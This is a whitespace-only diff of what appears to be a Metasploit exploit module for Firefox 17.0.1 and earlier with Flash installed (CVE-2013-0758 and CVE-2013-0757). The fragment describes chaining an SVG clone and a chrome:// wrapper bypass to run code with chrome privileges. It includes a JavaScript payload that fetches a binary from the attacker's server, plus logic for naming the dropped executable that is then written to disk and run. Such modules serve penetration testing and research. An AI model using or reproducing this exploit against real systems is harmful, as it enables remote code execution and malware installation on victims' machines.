@@ -19,21 +19,21 @@ def initialize(info = {})
19
19
'Description' => %q{
20
20
This exploit gains remote code execution on Firefox 17.0.1 and all previous
21
21
versions, provided the user has installed Flash. No memory corruption is used.
22
-
23
- First, a Flash object is cloned into the anonymous content of the SVG
22
+
23
+ First, a Flash object is cloned into the anonymous content of the SVG
24
24
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
25
- can navigate a child frame to a URL in the chrome:// scheme.
26
-
25
+ can navigate a child frame to a URL in the chrome:// scheme.
26
+
27
27
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
28
28
around the child frame's window reference and inject code into the chrome://
29
29
context. Once we have injection into the chrome execution context, we can write
30
30
the payload to disk, chmod it (if posix), and then execute.
31
-
31
+
32
32
Note: Flash is used here to trigger the exploit but any Firefox plugin
33
33
with script access should be able to trigger it.
34
34
} ,
35
35
'License' => MSF_LICENSE ,
36
- 'Targets' => [
36
+ 'Targets' => [
37
37
[ 'Windows x86 (Native Payload)' ,
38
38
{
39
39
'Platform' => 'win' ,
@@ -62,7 +62,7 @@ def initialize(info = {})
62
62
'References' =>
63
63
[
64
64
[ 'CVE' , '2013-0758' ] , # navigate a frame to a chrome:// URL
65
- [ 'CVE' , '2013-0757' ] , # bypass Chrome Object Wrapper to talk to chrome://
65
+ [ 'CVE' , '2013-0757' ] , # bypass Chrome Object Wrapper to talk to chrome://
66
66
[ 'URL' , 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html' ] ,
67
67
[ 'URL' , 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906' ]
68
68
] ,
@@ -132,7 +132,7 @@ def flash_trigger
132
132
@flash_trigger ||= File . read ( swf_path )
133
133
end
134
134
135
- # @return [String] the filename that will be used when the payload is dropped
135
+ # @return [String] the filename that will be used when the payload is dropped
136
136
def payload_filename
137
137
if target . name == 'Windows x86 (Native Payload)'
138
138
"#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .exe"
@@ -146,7 +146,7 @@ def js_payload
146
146
%Q|
147
147
#{ js_debug ( "Injection successful. JS executing with chrome privileges." ) }
148
148
var x = new XMLHttpRequest;
149
- x.overrideMimeType('text/plain; charset=x-user-defined');
149
+ x.overrideMimeType('text/plain; charset=x-user-defined');
150
150
x.open('POST', '#{ base_url } .bin', false);
151
151
x.send(null);
152
152
#{ js_debug ( "'Payload: '+x.responseText" , "" ) }
0 commit comments